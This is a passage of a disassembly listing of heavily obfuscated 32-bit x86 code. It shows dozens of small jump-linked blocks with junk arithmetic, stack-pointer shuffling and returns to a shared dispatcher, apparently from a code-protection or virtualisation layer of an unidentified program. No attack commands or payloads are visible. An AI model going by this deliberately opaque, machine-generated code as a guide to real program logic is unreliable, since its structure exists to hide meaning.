		push	[esp+0AAh+var_AC+2]
		mov	ebx, [esp+0AEh+var_B0+2]
		add	esp, 4
		jmp	loc_5C75AE
; ---------------------------------------------------------------------------


loc_5CD54C:				; CODE XREF: sub_5A55E5+1E000j
		push	ebx
		mov	bx, 411Bh
		mov	di, 2617h
		sub	di, 6162h
		add	di, bx
		jmp	loc_5C9B6B
; ---------------------------------------------------------------------------


loc_5CD562:				; CODE XREF: sub_5A55E5+1CBDBj
		mov	ebp, 14F3F2Dh
		or	edx, ebp
		pop	ebp
		push	ecx
		jmp	loc_5CFAA0
; ---------------------------------------------------------------------------


loc_5CD570:				; CODE XREF: sub_5A55E5+1B3ECj
		add	edi, 8F45B39h
		add	ebx, edi
		pop	edi
		add	ebx, eax
		sub	ebx, 3A645BD4h
		mov	eax, [esp+98h+var_98]
		add	esp, 4
		xor	ebx, [esp+94h+var_94]
		xor	[esp+94h+var_94], ebx
		xor	ebx, [esp+94h+var_94]
		pop	esp


loc_5CD594:				; CODE XREF: sub_5A55E5+2383Bj
		push	220Bh
		jmp	loc_5CB05D
; ---------------------------------------------------------------------------


loc_5CD59E:				; CODE XREF: sub_5A55E5+209A4j
		push	7824h
		jmp	loc_5C8783
; ---------------------------------------------------------------------------


loc_5CD5A8:				; CODE XREF: sub_5A55E5+28B2Fj
		sub	esp, 4
		mov	[esp+0A8h+var_A8], eax
		jmp	loc_5CE0FC
; ---------------------------------------------------------------------------


loc_5CD5B3:				; CODE XREF: sub_5A55E5+1E838j
		push	eax
		mov	eax, esi
		mov	ecx, eax
		pop	eax
		pop	esi
		mov	edx, ecx
		jmp	loc_5C53F2
; ---------------------------------------------------------------------------


loc_5CD5C1:				; CODE XREF: sub_5A55E5+1CCBFj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+70h+var_70]
		pop	esp
		jmp	loc_5D0E35
; ---------------------------------------------------------------------------


loc_5CD5D8:				; CODE XREF: sub_5A55E5+2C37Bj
		or	edi, 3C0127A6h
		not	edi
		add	edi, 812AC19Bh
		add	esi, edi
		pop	edi
		push	ecx
		mov	ecx, 9D5AC0EDh
		jmp	loc_5C1C24
; ---------------------------------------------------------------------------


loc_5CD5F4:				; CODE XREF: sub_5A55E5+220FAj
		sub	esi, edi
		sub	esi, 7BD85368h
		pop	edi
		mov	ebx, esi
		pop	esi
		shl	ebx, 1
		shr	ebx, 2
		jmp	loc_5CD37D
; ---------------------------------------------------------------------------


loc_5CD60A:				; CODE XREF: sub_5A55E5+1B119j
		xor	[esp+80h+var_80], ebp
		jmp	loc_5CEE4B
; ---------------------------------------------------------------------------


loc_5CD612:				; CODE XREF: sub_5A55E5+1AE55j
		push	edx
		mov	dl, 30h
		xor	dl, 86h
		sub	dl, 0E8h
		or	dl, 28h
		add	dl, 9Fh
		or	bh, dl
		pop	edx
		sub	bh, 0D9h
		dec	bh
		push	ecx
		mov	cl, 37h
		add	cl, 21h
		push	edx
		mov	dl, 0D6h
		xor	cl, dl
		pop	edx
		push	ebx
		mov	bh, 5
		add	cl, bh
		pop	ebx
		add	bh, cl
		pop	ecx
		add	al, bh
		pop	ebx
		sub	al, bl
		sub	al, 76h
		sub	al, 62h
		push	ecx
		jmp	loc_5CE3F6
; ---------------------------------------------------------------------------


loc_5CD64D:				; CODE XREF: sub_5A55E5+2C67Dj
		push	esi
		mov	esi, 2
		push	esi
		mov	esi, 65B921BBh
		jmp	loc_5C35EA
; ---------------------------------------------------------------------------
		lodsd
		push	0CADh
		mov	[esp+0B0h+var_B0], edi
		mov	edi, 55AB2760h
		or	edi, 1911465Fh
		shr	edi, 8
		shl	edi, 1
		shr	edi, 6
		push	esi
		mov	esi, 1
		jmp	loc_5C0F72
; ---------------------------------------------------------------------------
		push	[esp+0B4h+var_B0]
		jmp	loc_5C0DDE
; ---------------------------------------------------------------------------


loc_5CD68E:				; CODE XREF: sub_5A55E5+2D64Cj
		mov	[esp+0B8h+var_B8], esi
		push	edx
		mov	edx, 12814E45h
		jmp	loc_5CBB56
; ---------------------------------------------------------------------------


loc_5CD69C:				; CODE XREF: sub_5A55E5+264A3j
		sub	ebp, 6E1E47Ah
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp+80h+var_80]
		jmp	loc_5C3327
; ---------------------------------------------------------------------------


loc_5CD6B0:				; CODE XREF: sub_5A55E5+1D2F6j
		dec	eax
		jmp	loc_5D12D4
; ---------------------------------------------------------------------------


loc_5CD6B6:				; CODE XREF: sub_5A55E5+296E2j
		mov	[esp+7Eh+var_80+2], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	[esp+82h+var_80+2]
		pop	ebx
		pop	[esp+82h+var_84+2]
		jmp	loc_5D346D
; ---------------------------------------------------------------------------


loc_5CD6D5:				; CODE XREF: sub_5A55E5+22BCEj
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5C5B7B
; ---------------------------------------------------------------------------


loc_5CD6DD:				; CODE XREF: sub_5A55E5+21271j
		add	esp, 4
		xchg	esi, [esp+0BAh+var_BC+2]
		mov	esp, [esp+0BAh+var_BC+2]
		push	176Ah
		jmp	loc_5C59F0
; ---------------------------------------------------------------------------


loc_5CD6F3:				; CODE XREF: sub_5A55E5+1FE41j
		sub	ebx, 33717E46h
		or	ebx, 70F0377Ah
		add	ebx, 18A54F61h
		neg	ebx
		dec	ebx
		xor	ebx, 0DC24D2A0h
		sub	edi, 139D6141h
		jmp	loc_5CFF96
; ---------------------------------------------------------------------------


loc_5CD719:				; CODE XREF: sub_5A55E5+1D289j
		pop	ebx
		jmp	loc_5C4FFF
; ---------------------------------------------------------------------------


loc_5CD71F:				; CODE XREF: sub_5A55E5+2BA7Aj
		add	[esp+6Ah+var_68+2], 7F4A7F75h
		jmp	loc_5CE2DE
; ---------------------------------------------------------------------------


loc_5CD72C:				; CODE XREF: sub_5A55E5+1EB0Cj
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+74h+var_74]
		pop	esp
		mov	[esp+70h+var_70], ebx
		push	edi
		mov	edi, 16243AF3h
		push	edx
		push	esi
		mov	esi, 6471049Fh
		mov	edx, 72553E6Dh
		xor	edx, esi
		pop	esi
		jmp	loc_5D3D79
; ---------------------------------------------------------------------------


loc_5CD759:				; CODE XREF: sub_5A55E5+25676j
		pop	edi
		add	edx, 4
		xchg	edx, [esp+80h+var_80]
		jmp	loc_5D3171
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+80h+var_80]
		push	1D56h
		mov	[esp+84h+var_84], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+88h+var_88], esi
		push	0E3Ch
		jmp	loc_5C3FFC
; ---------------------------------------------------------------------------
		push	0DA5h
		mov	[esp+90h+var_90], edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 1A663154h
		not	edx
		dec	edx
		jmp	loc_5CBE85
; ---------------------------------------------------------------------------


loc_5CD7A1:				; CODE XREF: sub_5A55E5+209ECj
		push	65ECh
		mov	[esp+0A4h+var_A4], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+0A8h+var_A8], ecx
		push	ebp
		mov	ebp, 4
		mov	ecx, ebp
		pop	ebp
		push	edi
		mov	edi, 5A9E2267h
		add	ebp, edi
		pop	edi
		add	ebp, ecx
		push	edi
		push	eax
		jmp	loc_5C60CF
; ---------------------------------------------------------------------------


loc_5CD7CF:				; CODE XREF: sub_5A55E5+205ABj
		mov	[esp+94h+var_94], edi
		jmp	loc_5CCFEF
; ---------------------------------------------------------------------------


loc_5CD7D7:				; CODE XREF: sub_5A55E5+20FCAj
		add	ecx, 4
		add	ecx, 4
		push	4098h
		jmp	loc_5C4CB4
; ---------------------------------------------------------------------------


loc_5CD7EA:				; CODE XREF: sub_5A55E5+278DAj
		mov	esi, 712E6E12h
		dec	esi
		not	esi
		sub	esi, 283C6469h
		dec	esi
		add	esi, 0FFFFFFFFh
		jmp	loc_5C9388
; ---------------------------------------------------------------------------


loc_5CD804:				; CODE XREF: sub_5A55E5+1FCF2j
		sub	esp, 4
		mov	[esp+8Ch+var_8C], esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp+8Ch+var_8C]
		add	esp, 4
		add	ebx, 4
		push	6815h
		mov	[esp+8Ch+var_8C], ebx
		push	[esp+8Ch+var_88]
		pop	ebx
		jmp	loc_5C58B5
; ---------------------------------------------------------------------------


loc_5CD832:				; CODE XREF: sub_5A55E5+2704Bj
		push	edi
		jmp	loc_5C3661
; ---------------------------------------------------------------------------


loc_5CD838:				; CODE XREF: sub_5A55E5+21E4Ej
		sub	ebp, 1C045841h
		sub	ebp, 6CA63B73h
		push	ebx
		mov	ebx, 479A73F3h
		xor	ebx, 53F51886h
		shl	ebx, 6
		push	edi
		jmp	loc_5C7A4B
; ---------------------------------------------------------------------------


loc_5CD859:				; CODE XREF: sub_5A55E5+2BBCEj
		pop	esp
		imul	ecx, eax
		jmp	loc_5CFFDB
; ---------------------------------------------------------------------------


loc_5CD862:				; CODE XREF: sub_5A55E5+2B4A9j
		add	eax, 4
		add	eax, 2
		push	eax
		jmp	loc_5C05EB
; ---------------------------------------------------------------------------


loc_5CD870:				; CODE XREF: sub_5A55E5+1FC04j
		push	eax
		push	esp
		mov	eax, [esp+0A0h+var_A0]
		add	esp, 4
		add	eax, 4
		jmp	loc_5CC96C
; ---------------------------------------------------------------------------


loc_5CD885:				; CODE XREF: sub_5A55E5+250AAj
		add	ecx, ebp
		pop	ebp
		push	2A69h
		mov	[esp+44h+var_46+2], ebx
		mov	ebx, 589C10E2h
		jmp	loc_5C6AA2
; ---------------------------------------------------------------------------


loc_5CD89A:				; CODE XREF: sub_5A55E5+24D3Ej
		pop	ecx
		jmp	loc_5C7F99
; ---------------------------------------------------------------------------


loc_5CD8A0:				; CODE XREF: sub_5A55E5+21AD1j
		sub	[esp+74h+var_70], 118E24CDh
		add	[esp+74h+var_70], edi
		add	[esp+74h+var_70], 118E24CDh
		add	[esp+74h+var_70], 323324B8h
		pop	edi
		mov	ebx, [esp+70h+var_70]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xor	ebx, [esp+74h+var_74]
		xor	[esp+74h+var_74], ebx
		xor	ebx, [esp+74h+var_74]
		pop	esp
		sub	ebx, 396D3C0Eh
		push	[esp+70h+var_70]
		pop	edi
		add	esp, 4
		and	ecx, ebx
		push	[esp+6Ch+var_6C]
		jmp	loc_5CF5DE
; ---------------------------------------------------------------------------


loc_5CD8F3:				; CODE XREF: sub_5A55E5+22118j
		xor	ebp, ebx
		pop	ebx
		dec	ebp
		jmp	loc_5CCDA3
; ---------------------------------------------------------------------------


loc_5CD8FC:				; CODE XREF: sub_5A55E5+221DFj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0C4h+var_C4]
		pop	esp
		mov	[esp+0C0h+var_C0], ecx
		mov	ecx, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5C6417
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp+0C2h+var_C4+2], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CD92F:				; CODE XREF: sub_5A55E5+2685Bj
		mov	edi, [esp+8Ch+var_8C]
		add	esp, 4
		add	eax, ecx
		sub	eax, 5F4B0D5Eh
		pop	ecx
		xor	eax, [esp+84h+var_84]
		xor	[esp+84h+var_84], eax
		xor	eax, [esp+84h+var_84]
		jmp	loc_5CB80E
; ---------------------------------------------------------------------------


loc_5CD94B:				; CODE XREF: sub_5A55E5+2B16Cj
		add	eax, ebx
		sub	eax, 21C7C12h
		jmp	loc_5D361B
; ---------------------------------------------------------------------------


loc_5CD957:				; CODE XREF: sub_5A55E5+2A1F1j
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 2
		jmp	loc_5CE9CC
; ---------------------------------------------------------------------------


loc_5CD96A:				; CODE XREF: sub_5A55E5+1BEC6j
		mov	esi, [esp+92h+var_94+2]
		add	esp, 4
		push	ebp
		jmp	loc_5CEA95
; ---------------------------------------------------------------------------


loc_5CD976:				; CODE XREF: sub_5A55E5+2DB87j
		mov	ebp, [esp+92h+var_94+2]
		add	esp, 4
		jmp	loc_5CF122
; ---------------------------------------------------------------------------


loc_5CD984:				; CODE XREF: sub_5A55E5+22444j
		pop	esp
		push	ecx
		push	eax
		push	ebx
		mov	bh, dl
		jmp	loc_5CDB61
; ---------------------------------------------------------------------------


loc_5CD98F:				; CODE XREF: sub_5A55E5+2C9A9j
		mov	edi, 26D67A1h
		add	edx, edi
		jmp	loc_5D13B7
; ---------------------------------------------------------------------------


loc_5CD99B:				; CODE XREF: sub_5A55E5+1B243j
		or	ebp, 59BB5C23h
		not	ebp
		add	ebp, 0FFFFFFFFh
		add	ebp, 0AF46A81Dh
		jmp	loc_5CF6A6
; ---------------------------------------------------------------------------


loc_5CD9B4:				; CODE XREF: sub_5A55E5+24E96j
		push	409118EAh
		mov	eax, [esp+92h+var_94+2]
		add	esp, 4
		jmp	loc_5D0069
; ---------------------------------------------------------------------------


loc_5CD9C4:				; CODE XREF: sub_5A55E5+2DA5Fj
		push	ebx
		jmp	loc_5CC4B8
; ---------------------------------------------------------------------------


loc_5CD9CA:				; CODE XREF: sub_5A55E5+1C854j
		mov	ebx, [esp+0A2h+var_A4+2]
		add	esp, 4
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CD9D5:				; CODE XREF: sub_5A55E5+1EAE8j
		add	ebx, eax
		jmp	loc_5CB14B
; ---------------------------------------------------------------------------


loc_5CD9DC:				; CODE XREF: sub_5A55E5+2A0C4j
		sub	edi, esi
		pop	esi
		add	ecx, edi
		push	[esp+6Ch+var_6C]
		mov	edi, [esp+70h+var_70]
		add	esp, 4
		push	1C53h
		mov	[esp+70h+var_70], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+70h+var_70]
		jmp	loc_5D2B9B
; ---------------------------------------------------------------------------


loc_5CDA08:				; CODE XREF: sub_5A55E5+2394Cj
		mov	esp, [esp+78h+var_78]
		jmp	loc_5C69D4
; ---------------------------------------------------------------------------


loc_5CDA10:				; CODE XREF: sub_5A55E5+1F56Bj
		add	eax, 4
		xchg	eax, [esp+90h+var_90]
		pop	esp
		add	eax, edi
		jmp	loc_5CBD10
; ---------------------------------------------------------------------------


loc_5CDA1E:				; CODE XREF: sub_5A55E5+1D3DBj
		xor	cl, bl
		xor	bl, cl
		jmp	loc_5D0252
; ---------------------------------------------------------------------------


loc_5CDA27:				; CODE XREF: sub_5A55E5+1FBB6j
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		push	7009h
		mov	[esp+64h+var_64], ebp
		push	[esp+64h+var_60]
		pop	ebp
		pop	[esp+64h+var_64]
		pop	esp
		mov	[esp+5Ch+var_5C], eax
		jmp	loc_5CA334
; ---------------------------------------------------------------------------


loc_5CDA4E:				; CODE XREF: sub_5A55E5+27B5Ej
		mov	eax, 4CB252ABh
		sub	ecx, eax
		jmp	loc_5D31FD
; ---------------------------------------------------------------------------


loc_5CDA5A:				; CODE XREF: sub_5A55E5+2D5C0j
		push	ecx
		jmp	loc_5CE809
; ---------------------------------------------------------------------------


loc_5CDA60:				; CODE XREF: sub_5A55E5+1B879j
		push	ebp
		push	3A9C2CF7h
		mov	ebp, [esp+9Ch+var_9C]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0A0h+var_A0]
		pop	esp
		not	ebp
		xor	ebp, 9EC7EF7Eh
		jmp	loc_5CF6CA
; ---------------------------------------------------------------------------


loc_5CDA85:				; CODE XREF: sub_5A55E5+25415j
		add	[esp+88h+var_88], 73302269h
		pop	edx
		sub	edx, 73302269h
		jmp	loc_5CE119
; ---------------------------------------------------------------------------


loc_5CDA98:				; CODE XREF: sub_5A55E5+21B2Ej
		pop	ebx
		pop	esi
		pop	ebp
		push	ebp
		jmp	loc_5D2E96
; ---------------------------------------------------------------------------


loc_5CDAA1:				; CODE XREF: sub_5A55E5+21B8Bj
		sub	ecx, 5BBE20B3h
		push	eax
		mov	eax, 1E331BE5h
		jmp	loc_5C0145
; ---------------------------------------------------------------------------


loc_5CDAB2:				; CODE XREF: sub_5A55E5+2B592j
		push	edi
		pop	ebp
		pop	edi
		pop	edx
		add	ebp, 250C5ACFh
		jmp	loc_5C7AB2
; ---------------------------------------------------------------------------


loc_5CDAC1:				; CODE XREF: sub_5A55E5+1F321j
		dec	eax
		jmp	loc_5D1972
; ---------------------------------------------------------------------------


loc_5CDAC7:				; CODE XREF: sub_5A55E5+243E8j
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		xchg	ecx, [esp+94h+var_94]
		pop	esp
		mov	[esp+90h+var_90], ecx
		push	1Ch
		pop	ecx
		sub	ecx, 3AD33F78h
		add	ecx, edi
		add	ecx, 3AD33F78h
		sub	esp, 4
		jmp	loc_5CEE2C
; ---------------------------------------------------------------------------


loc_5CDAF9:				; CODE XREF: sub_5A55E5+1C7EDj
		add	ebx, 47FE2499h
		pop	ebp
		sub	ebx, 4
		jmp	loc_5C9947
; ---------------------------------------------------------------------------


loc_5CDB08:				; CODE XREF: sub_5A55E5+1C33Bj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+98h+var_98]
		xor	[esp+98h+var_98], ebp
		xor	ebp, [esp+98h+var_98]
		pop	esp
		mov	[esp+94h+var_94], ebp
		jmp	loc_5C1599
; ---------------------------------------------------------------------------


loc_5CDB25:				; CODE XREF: sub_5A55E5+1E6C9j
		mov	ax, word ptr [esp+6Eh+var_70+2]
		add	esp, 2
		jmp	loc_5CA3DA
; ---------------------------------------------------------------------------


loc_5CDB31:				; CODE XREF: sub_5A55E5+1D6BCj
		xchg	ebp, [esp+94h+var_94]
		mov	esp, [esp+94h+var_94]
		push	edx
		mov	edx, esp
		jmp	loc_5CB099
; ---------------------------------------------------------------------------


loc_5CDB3F:				; CODE XREF: sub_5A55E5+1DA47j
		xor	ebp, esi
		pop	esi
		sub	ecx, 48A72E16h
		add	ecx, ebp
		add	ecx, 48A72E16h
		mov	ebp, [esp+0A2h+var_A4+2]
		jmp	loc_5CE275
; ---------------------------------------------------------------------------


loc_5CDB58:				; CODE XREF: sub_5A55E5+1AEE5j
		mov	[esp+94h+var_94], edx
		push	esp
		jmp	loc_5C51DA
; ---------------------------------------------------------------------------


loc_5CDB61:				; CODE XREF: sub_5A55E5+283A5j
		mov	ah, bh
		pop	ebx
		mov	ch, ah
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5CEE83
; ---------------------------------------------------------------------------


loc_5CDB75:				; CODE XREF: sub_5A55E5+2DEB0j
		add	ecx, edx
		pop	edx
		inc	ecx
		add	ecx, 15035E35h
		xor	ecx, 0AC418385h
		jmp	loc_5D2E0C
; ---------------------------------------------------------------------------


loc_5CDB8A:				; CODE XREF: sub_5A55E5+25861j
		sub	edi, 0D5B1AC80h
		xor	eax, edi
		pop	edi
		shr	eax, 2
		and	eax, 2DB26557h
		or	eax, 65A46733h
		xor	eax, 31C94897h
		sub	ecx, eax
		jmp	loc_5C5CF5
; ---------------------------------------------------------------------------


loc_5CDBAC:				; CODE XREF: sub_5A55E5+2D0D8j
		pop	eax
		add	ebx, 49AD4F96h
		jmp	loc_5CEAC4
; ---------------------------------------------------------------------------


loc_5CDBB8:				; CODE XREF: sub_5A55E5+230B8j
		add	esp, 4
		xor	eax, 1DED1531h
		push	esi
		mov	esi, 400F4248h
		xor	esi, 58582157h
		shl	esi, 5
		dec	esi
		xor	esi, 0F2822ECh
		xor	eax, esi
		jmp	loc_5CA778
; ---------------------------------------------------------------------------


loc_5CDBDD:				; CODE XREF: sub_5A55E5+2A893j
		pop	esp
		sub	ecx, 4
		xor	ecx, [esp+0B2h+var_B4+2]
		xor	[esp+0B2h+var_B4+2], ecx
		xor	ecx, [esp+0B2h+var_B4+2]
		mov	esp, [esp+0B2h+var_B4+2]
		mov	[esp+0B2h+var_B4+2], ebx
		jmp	loc_5CD1C6
; ---------------------------------------------------------------------------


loc_5CDBF5:				; CODE XREF: sub_5A55E5+1DD2Cj
		mov	ebx, esp
		jmp	loc_5CF355
; ---------------------------------------------------------------------------


loc_5CDBFC:				; CODE XREF: sub_5A55E5+292B2j
		sub	ecx, 0CD07AA57h
		and	ebp, ecx
		mov	ecx, [esp+78h+var_78]
		jmp	loc_5CEA16
; ---------------------------------------------------------------------------


loc_5CDC0C:				; CODE XREF: sub_5A55E5+25BE8j
		push	ebp
		push	ecx
		push	6F5E5D44h
		pop	ecx
		push	ebx
		mov	ebx, 72BD57FCh
		dec	ebx
		jmp	loc_5C2A13
; ---------------------------------------------------------------------------


loc_5CDC20:				; CODE XREF: sub_5A55E5+215D4j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5CCD6D
; ---------------------------------------------------------------------------


loc_5CDC33:				; CODE XREF: sub_5A55E5+1F594j
		mov	ebx, 557E6208h
		add	ecx, 14517B21h
		sub	ecx, ebx
		sub	ecx, 14517B21h
		jmp	loc_5CE929
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5C5F41
		sub	esp, 4
		jmp	loc_5C49D5
; ---------------------------------------------------------------------------


loc_5CDC5E:				; CODE XREF: sub_5A55E5+1DB0Ej
		pop	ebp
		pop	ecx
		sub	esp, 4
		mov	[esp+8Ch+var_8C], ebp
		jmp	loc_5CECCC
; ---------------------------------------------------------------------------


loc_5CDC6B:				; CODE XREF: sub_5A55E5+1D041j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CDC82:				; CODE XREF: sub_5A55E5+1F585j
		mov	edi, 1C1C0444h
		not	edi
		and	edi, 41BB2E6Ch
		jmp	loc_5C6218
; ---------------------------------------------------------------------------


loc_5CDC94:				; CODE XREF: sub_5A55E5+2AEA5j
		push	7E507778h
		pop	eax
		xor	eax, 5B546350h
		xor	ebx, eax
		pop	eax
		jmp	loc_5C7C51
; ---------------------------------------------------------------------------
		push	[esp+94h+var_94]
		mov	edx, [esp+98h+var_98]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5C0B2F
; ---------------------------------------------------------------------------


loc_5CDCBB:				; CODE XREF: sub_5A55E5+26D4Bj
		push	eax
		jmp	loc_5C9F42
; ---------------------------------------------------------------------------


loc_5CDCC1:				; CODE XREF: sub_5A55E5+25A1Bj
		xor	ecx, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		mov	ax, word ptr [esp+6Ch+var_6C]
		jmp	loc_5CECFE
; ---------------------------------------------------------------------------


loc_5CDCD0:				; CODE XREF: sub_5A55E5+29B38j
		add	ecx, 4
		push	ebp
		push	edi
		mov	edi, 74435026h
		mov	ebp, 8BBCAFDEh
		add	ebp, edi
		mov	edi, [esp+74h+var_74]
		add	esp, 4
		add	ecx, ebp
		jmp	loc_5C852A
; ---------------------------------------------------------------------------


loc_5CDCF1:				; CODE XREF: sub_5A55E5+2758Dj
		sub	ebp, ecx
		pop	ecx
		and	edi, ebp
		pop	ebp
		xor	edi, 523B38C1h
		xor	esi, edi
		pop	edi
		xor	edx, esi
		mov	esi, [esp+70h+var_70]
		add	esp, 4
		add	eax, edx
		pop	edx
		push	ebp
		push	edx
		jmp	loc_5C7324
; ---------------------------------------------------------------------------


loc_5CDD12:				; CODE XREF: sub_5A55E5+2696Cj
		pop	esp
		jmp	loc_5C481C
; ---------------------------------------------------------------------------


loc_5CDD18:				; CODE XREF: sub_5A55E5+25F1Dj
		push	eax
		mov	eax, 241418BFh
		jmp	loc_5C6F12
; ---------------------------------------------------------------------------


loc_5CDD23:				; CODE XREF: sub_5A55E5+2D3DBj
		push	ebp
		mov	ebp, 1
		sub	edx, ebp
		pop	ebp
		push	edi
		jmp	loc_5CC2A8
; ---------------------------------------------------------------------------


loc_5CDD32:				; CODE XREF: sub_5A55E5+2A1A0j
		mov	[ecx], dl
		mov	ecx, [esp+0C0h+var_C0]
		add	esp, 4
		mov	edx, [esp+0BCh+var_BC]
		jmp	loc_5C41BB
; ---------------------------------------------------------------------------


loc_5CDD45:				; CODE XREF: sub_5A55E5+24CA6j
		push	ebx
		mov	ebx, 7EA76681h
		jmp	loc_5C6BF4
; ---------------------------------------------------------------------------


loc_5CDD50:				; CODE XREF: sub_5A55E5+25877j
		add	[esp+98h+var_98], 4
		push	[esp+98h+var_98]
		pop	eax
		sub	esp, 4
		mov	[esp+9Ch+var_9C], eax
		push	esp
		mov	eax, [esp+0A0h+var_A0]
		add	esp, 4
		add	eax, 4
		jmp	loc_5C7A91
; ---------------------------------------------------------------------------


loc_5CDD75:				; CODE XREF: sub_5A55E5+1D500j
		push	ebp
		jmp	loc_5C490B
; ---------------------------------------------------------------------------


loc_5CDD7B:				; CODE XREF: sub_5A55E5+29FBEj
		pop	bx
		jmp	loc_5C9D7B
; ---------------------------------------------------------------------------


loc_5CDD82:				; CODE XREF: sub_5A55E5+1C380j
		mov	ecx, [esp+0ACh+var_AC]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0ACh+var_AC], ebx
		jmp	loc_5D1502
; ---------------------------------------------------------------------------


loc_5CDD93:				; CODE XREF: sub_5A55E5+2413Aj
		add	ebp, edi
		jmp	loc_5CEA46
; ---------------------------------------------------------------------------


loc_5CDD9A:				; CODE XREF: sub_5A55E5+20A20j
		add	eax, ecx
		pop	ecx
		jmp	loc_5C4946
; ---------------------------------------------------------------------------


loc_5CDDA2:				; CODE XREF: sub_5A55E5+29851j
		not	esi
		sub	esi, 0E41898F7h
		push	353Fh
		mov	[esp+8Ah+var_8C+2], ecx
		mov	ecx, esi
		mov	ebx, ecx
		mov	ecx, [esp+8Ah+var_8C+2]
		add	esp, 4
		pop	esi
		jmp	loc_5C9AD0
; ---------------------------------------------------------------------------


loc_5CDDC2:				; CODE XREF: sub_5A55E5+2A36Aj
		sub	esi, 133E9E5Fh
		push	edi
		mov	edi, 4A3F7714h
		sub	ebx, edi
		pop	edi
		sub	ebx, 152A5AA4h
		add	ebx, esi
		add	ebx, 152A5AA4h
		add	ebx, 4A3F7714h
		pop	esi
		push	4FC5h
		mov	[esp+82h+var_84+2], eax
		mov	eax, 4
		sub	ebx, 305723ACh
		jmp	loc_5C5382
; ---------------------------------------------------------------------------


loc_5CDDFE:				; CODE XREF: sub_5A55E5+2B7C0j
		push	[esp+82h+var_84+2]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+86h+var_88+2]
		mov	esp, [esp+86h+var_88+2]
		jmp	loc_5D17E2
; ---------------------------------------------------------------------------


loc_5CDE19:				; CODE XREF: sub_5A55E5+26B4Dj
		add	esp, 4
		push	eax
		push	esp
		jmp	loc_5BFF42
; ---------------------------------------------------------------------------


loc_5CDE23:				; CODE XREF: sub_5A55E5+2254Cj
		xchg	ebp, [esp+7Eh+var_80+2]
		mov	esp, [esp+7Eh+var_80+2]
		jmp	loc_5C8C10
; ---------------------------------------------------------------------------


loc_5CDE2E:				; CODE XREF: sub_5A55E5+2033Dj
		mov	[esp+92h+var_94+2], esi
		push	[esp+92h+var_90+2]
		mov	esi, [esp+96h+var_98+2]
		jmp	loc_5C7891
; ---------------------------------------------------------------------------


loc_5CDE3D:				; CODE XREF: sub_5A55E5+1FAF6j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+60h+var_60]
		pop	esp
		mov	[esp+5Ch+var_5C], esp
		add	[esp+5Ch+var_5C], 4
		jmp	loc_5C2887
; ---------------------------------------------------------------------------


loc_5CDE5E:				; CODE XREF: sub_5A55E5+1D9EEj
		mov	ecx, edi
		jmp	loc_5C4D39
; ---------------------------------------------------------------------------
		push	[esp+0AEh+var_B0+2]
		push	[esp+0B2h+var_B4+2]
		pop	eax
		push	6D99h
		mov	[esp+0B6h+var_B8+2], edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 6940300Ah
		or	esi, 778715A7h
		push	edx
		mov	edx, 1D8F5091h
		push	edi
		jmp	loc_5CAF43
; ---------------------------------------------------------------------------


loc_5CDE94:				; CODE XREF: sub_5A55E5+2DF26j
		sub	edx, 1B4611FEh
		jmp	loc_5C1E3E
; ---------------------------------------------------------------------------


loc_5CDE9F:				; CODE XREF: sub_5A55E5+26023j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5D09C5
; ---------------------------------------------------------------------------


loc_5CDEB0:				; CODE XREF: sub_5A55E5+2E0F2j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5C471F
; ---------------------------------------------------------------------------


loc_5CDEC0:				; CODE XREF: sub_5A55E5+1DD76j
		mov	edx, [esp+0B0h+var_B0]
		add	esp, 4
		push	[esp+0ACh+var_AC]
		pop	esi
		push	edi
		mov	edi, esp
		jmp	loc_5C95E1
; ---------------------------------------------------------------------------


loc_5CDED5:				; CODE XREF: sub_5A55E5+1C52Ej
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CDEDA:				; CODE XREF: sub_5A55E5+28D24j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0AAh+var_AC+2]
		mov	esp, [esp+0AAh+var_AC+2]
		jmp	loc_5BF83C
